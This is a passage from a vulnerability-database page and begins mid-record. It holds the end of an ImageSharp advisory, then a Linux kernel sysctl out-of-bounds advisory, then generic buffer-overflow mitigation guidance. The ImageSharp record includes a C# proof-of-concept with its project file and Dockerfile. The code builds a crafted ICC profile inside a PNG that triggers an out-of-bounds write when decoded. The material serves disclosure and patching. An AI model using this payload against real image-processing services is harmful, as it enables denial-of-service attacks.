(uint)result.Length);\n return result;\n }\n\n private static byte[] BuildPng(byte[] icc)\n {\n using var source = new Image\u003cRgb24\u003e(16, 16);\n source.Metadata.IccProfile = new IccProfile(icc);\n using var encoded = new MemoryStream();\n source.SaveAsPng(encoded);\n return encoded.ToArray();\n }\n\n public static int Main(string[] args)\n {\n string mode = args.Length == 1 ? args[0] : \"exploit\";\n if (mode is not (\"exploit\" or \"control\")) throw new ArgumentException(\"mode must be exploit or control\");\n int outputChannels = mode == \"exploit\" ? 15 : 3;\n Console.WriteLine($\"mode={mode} output_channels={outputChannels}\");\n Console.WriteLine($\"imagesharp_assembly={typeof(Image).Assembly.Location}\");\n Console.WriteLine($\"imagesharp_version={typeof(Image).Assembly.GetCustomAttribute\u003cAssemblyInformationalVersionAttribute\u003e()?.InformationalVersion}\");\n byte[] png = BuildPng(BuildIcc(outputChannels));\n Console.WriteLine($\"png_bytes={png.Length}\");\n var options = new DecoderOptions { ColorProfileHandling = ColorProfileHandling.Convert };\n using Image image = Image.Load(options, png);\n Console.WriteLine(\"decode_completed\");\n return 0;\n }\n}\n\n```\n\nProject file:\n\n```xml\n\u003cProject Sdk=\"Microsoft.NET.Sdk\"\u003e\n \u003cPropertyGroup\u003e\n \u003cOutputType\u003eExe\u003c/OutputType\u003e\n \u003cTargetFramework\u003enet8.0\u003c/TargetFramework\u003e\n \u003cImplicitUsings\u003edisable\u003c/ImplicitUsings\u003e\n \u003cNullable\u003eenable\u003c/Nullable\u003e\n \u003c/PropertyGroup\u003e\n \u003cItemGroup\u003e\n \u003cReference Include=\"SixLabors.ImageSharp\"\u003e\n \u003cHintPath\u003e/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll\u003c/HintPath\u003e\n \u003cPrivate\u003etrue\u003c/Private\u003e\n \u003c/Reference\u003e\n \u003cReference Include=\"System.IO.Hashing\"\u003e\n \u003cHintPath\u003e/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll\u003c/HintPath\u003e\n \u003cPrivate\u003etrue\u003c/Private\u003e\n \u003c/Reference\u003e\n \u003c/ItemGroup\u003e\n\u003c/Project\u003e\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY ffp7.csproj Program.cs ./\n# Restore only to obtain the published package. The repro project then uses a\n# direct DLL reference so ImageSharp\u0027s package build target is not invoked.\nRUN printf \u0027%s\\n\u0027 \u0027\u003cProject Sdk=\"Microsoft.NET.Sdk\"\u003e\u003cPropertyGroup\u003e\u003cTargetFramework\u003enet8.0\u003c/TargetFramework\u003e\u003c/PropertyGroup\u003e\u003cItemGroup\u003e\u003cPackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /\u003e\u003c/ItemGroup\u003e\u003c/Project\u003e\u0027 \u003e fetch.csproj \\\n \u0026\u0026 dotnet restore fetch.csproj --nologo \\\n \u0026\u0026 rm fetch.csproj \\\n \u0026\u0026 dotnet build ffp7.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/ffp7.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-ffp7-poc .\ndocker run --rm imagesharp-ffp7-poc control\ndocker run --rm imagesharp-ffp7-poc exploit\n```",
"id": "GHSA-ffp7-56pq-64mr",
"modified": "2026-10-07T20:24:37Z",
"published": "2026-10-07T20:24:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-ffp7-56pq-64mr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106112"
},
{
"type": "WEB",
"url": "https://github.com/SixLabors/ImageSharp/pull/3187"
},
{
"type": "WEB",
"url": "https://github.com/SixLabors/ImageSharp/commit/b03f0ed7e5be760eecc740fa53dd166b18ae9b23"
},
{
"type": "PACKAGE",
"url": "https://github.com/SixLabors/ImageSharp"
},
{
"type": "WEB",
"url": "https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "ImageSharp: ICC LUT16 output channel count can write beyond Vector4"
}
GHSA-FFQX-HMW2-P5JV
Vulnerability from github – Published: 2024-03-06 09:30 – Updated: 2025-02-14 18:30In the Linux kernel, the following vulnerability has been resolved:
sysctl: Fix out of bounds access for empty sysctl registers
When registering tables to the sysctl subsystem there is a check to see if header is a permanently empty directory (used for mounts). This check evaluates the first element of the ctl_table. This results in an out of bounds evaluation when registering empty directories.
The function register_sysctl_mount_point now passes a ctl_table of size 1 instead of size 0. It now relies solely on the type to identify a permanently empty register.
Make sure that the ctl_table has at least one element before testing for permanent emptiness.
{
"affected": [],
"aliases": [
"CVE-2023-52596"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-06T07:15:09Z",
"severity": "MODERATE"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nsysctl: Fix out of bounds access for empty sysctl registers\n\nWhen registering tables to the sysctl subsystem there is a check to see\nif header is a permanently empty directory (used for mounts). This check\nevaluates the first element of the ctl_table. This results in an out of\nbounds evaluation when registering empty directories.\n\nThe function register_sysctl_mount_point now passes a ctl_table of size\n1 instead of size 0. It now relies solely on the type to identify\na permanently empty register.\n\nMake sure that the ctl_table has at least one element before testing for\npermanent emptiness.",
"id": "GHSA-ffqx-hmw2-p5jv",
"modified": "2025-02-14T18:30:45Z",
"published": "2024-03-06T09:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52596"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/15893975e9e382f8294ea8d926f08dc2d8d39ede"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/2ae7081bc10123b187e36a4f3a8e53768de31489"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/315552310c7de92baea4e570967066569937a843"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-3
Strategy: Language Selection
- Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.
- Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.
Mitigation MIT-4.1
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.
Mitigation MIT-10
Strategy: Environment Hardening
- Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking.
- D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.
Mitigation MIT-9
- Consider adhering to the following rules when allocating and managing an application's memory:
- Double check that the buffer is as large as specified.
- When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.
- Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space.
- If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.
Mitigation MIT-11
Strategy: Environment Hardening
- Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.
- Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.
- For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].
Mitigation MIT-12
Strategy: Environment Hardening
- Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.
- For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].
Mitigation MIT-13
Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.
No CAPEC attack patterns related to this CWE.